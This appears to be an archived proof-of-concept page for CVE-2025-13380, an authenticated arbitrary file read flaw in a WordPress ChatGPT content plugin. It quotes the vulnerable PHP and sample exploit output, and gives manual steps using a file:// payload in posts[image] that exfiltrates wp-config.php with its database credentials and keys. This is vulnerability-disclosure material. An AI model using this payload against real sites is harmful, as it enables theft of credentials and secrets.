Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2025-13380 PoC — WordPress plugin AI Engine for WordPress: ChatGPT, GPT Content Generator 安全漏洞

Source
Associated Vulnerability
Title:WordPress plugin AI Engine for WordPress: ChatGPT, GPT Content Generator 安全漏洞 (CVE-2025-13380)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台具有在基于PHP和MySQL的服务器上架设个人博客网站的功能。WordPress plugin是一个应用插件。 WordPress plugin AI Engine for WordPress: ChatGPT, GPT Content Generator 1.0.1及之前版本存在安全漏洞,该漏洞源于对用户提供文件路径验证不足,可能导致任意文件读取。
Description
AI Engine for WordPress: ChatGPT, GPT Content Generator <= 1.0.1 - Authenticated (Contributor+) Arbitrary File Read
Readme
# AI Engine for WordPress: ChatGPT, GPT Content Generator <= 1.0.1 - Authenticated (Contributor+) Arbitrary File Read

The [AI Engine for WordPress](https://wordpress.org/plugins/liquid-chatgpt/) plugin contains a vulnerability in its image insertion feature that allows **any authenticated user with post editing capabilities** (Contributor, Author, Editor, Administrator) to download arbitrary files from the server. The vulnerability stems from the `lqdai_update_post` AJAX endpoint lacking proper capability checks and the `insert_image()` function using `file_get_contents()` with user-controlled URLs without protocol validation, allowing arbitrary file downloads via the `file://` protocol.

## TL;DR Exploits
* A POC [CVE-2025-13380.py](./CVE-2025-13380.py) is provided to demonstrate a Contributor level user downloading the site's `wp-config.php` file.
  
```console
 python3 ./exploit.py http://techcorp.cc contributor password   
[+] Target: http://techcorp.cc
[+] Username: contributor
[+] Nonce obtained: 5dc61a0166
[+] Post created with ID: 148
[+] File written to uploads directory
[+] Attempting to retrieve file from: http://techcorp.cc/wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
[+] File retrieved successfully!
[+] wp-config.php contents:
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the website, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
...
...
...
```

## Details  

### **File Insert Function**
The `lqdai_update_post` AJAX action calls the `update_post()` function on line [315](https://plugins.trac.wordpress.org/browser/liquid-chatgpt/trunk/liquid-chatgpt.php#L315) of `/wp-content/plugins/liquid-chatgpt/liquid-chatgpt.php`, which lacks proper capability checks and allows any authenticated user to modify posts they can edit:

```php
function update_post() {
    if ( empty( $posts = $_POST['posts'] ) ) {
        wp_send_json( [
            'error' => true,
            'message' => __( 'Data is null!', 'lqdai' ),
        ] );
    }

    $args = [
        'ID'            => $posts['post_id'],
        'post_title'    => $posts['title'],
        'post_content'  => $posts['content'],
        'post_status'   => 'draft',
    ];

    $update_post = wp_update_post( $args );
    
    if ( is_wp_error( $update_post ) ) {
        wp_send_json( [
            'error' => true,
            'message' => $update_post->get_error_messages()
        ] );
    } else {
        wp_set_post_tags( $posts['post_id'], $posts['tags'], false );

        if ( !empty( $posts['image'] ) ) {
            $this->insert_image( $posts['post_id'], $posts['image'] );  // <-- ARBITRARY FILE DOWNLOAD VULNERABILITY
        }
    }
}
```

### **Arbitrary File Download in insert_image()**
The `insert_image()` function on line [419](https://plugins.trac.wordpress.org/browser/liquid-chatgpt/trunk/liquid-chatgpt.php#L419) uses `file_get_contents()` with user-controlled URLs without protocol validation, allowing arbitrary file downloads:

```php
function insert_image( $post_id, $image_url ) {
    // Get the path to the uploads directory
    $upload_dir = wp_upload_dir();
    $image_data = file_get_contents($image_url);

    $filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
    
    // Save the image to the uploads directory
    if ( wp_mkdir_p($upload_dir['path']) ) {
        $file = $upload_dir['path'] . '/' . $filename;
    } else {
        $file = $upload_dir['basedir'] . '/' . $filename;
    }
    
    file_put_contents($file, $image_data);  // <-- WRITES 
    
    // Get the attachment ID for the image
    $wp_filetype = wp_check_filetype($filename, null );
    $attachment = array(
        'post_mime_type' => $wp_filetype['type'],
        'post_title' => sanitize_file_name(str_replace('.jpg','', $filename)),
        'post_content' => '',
        'post_status' => 'inherit'
    );
    $attachment_id = wp_insert_attachment( $attachment, $file, $post_id );
    require_once(ABSPATH . 'wp-admin/includes/image.php');
    $attachment_data = wp_generate_attachment_metadata( $attachment_id, $file );
    wp_update_attachment_metadata( $attachment_id, $attachment_data );
    
    // Set the attachment ID as the featured image for the post
    set_post_thumbnail($post_id, $attachment_id);
}
```

### **Path Construction and File Naming**
The vulnerable path construction allows reading local files via the `file://` protocol:

```php
// User provides: 'file:///var/www/html/wp-config.php'
$image_url = 'file:///var/www/html/wp-config.php';

// file_get_contents() reads the file (works by default in PHP)
$image_data = file_get_contents($image_url);  // Reads /var/www/html/wp-config.php

// Filename is constructed from the path
$filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
// parse_url() returns '/var/www/html/wp-config.php'
// sanitize_file_name() removes slashes: 'varwwwhtmlwp-config.php'
// Appends '.jpg': 'varwwwhtmlwp-config.php.jpg'

// File is written to uploads directory
$file = $upload_dir['path'] . '/' . $filename;
// Result: /wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
file_put_contents($file, $image_data);  // Writes wp-config.php content
```



## Manual Reproduction
1. Login to WordPress as a Contributor (or any user with post editing capabilities).
2. Create a new post draft to obtain a post ID.
3. Use browser developer tools or a tool like Burp Suite to intercept traffic.
4. Intercept a request to `/wp-admin/admin-ajax.php` calling the `lqdai_update_post` action.
5. Modify the request to include a `file://` protocol URL in the `posts[image]` parameter.
6. Send the request with `posts[image]=file:///var/www/html/wp-config.php` to read the WordPress configuration file.
7. Access the file via the uploads directory URL: `/wp-content/uploads/YYYY/MM/varwwwhtmlwp-config.php.jpg`.
8. Extract sensitive configuration files including database credentials, API keys, and security salts.

File Snapshot

[4.0K] /data/pocs/58bef45dc75d780f2523327a5eeb6fe09e4ef01b ├── [5.1K] CVE-2025-13380.py └── [6.0K] README.md 1 directory, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.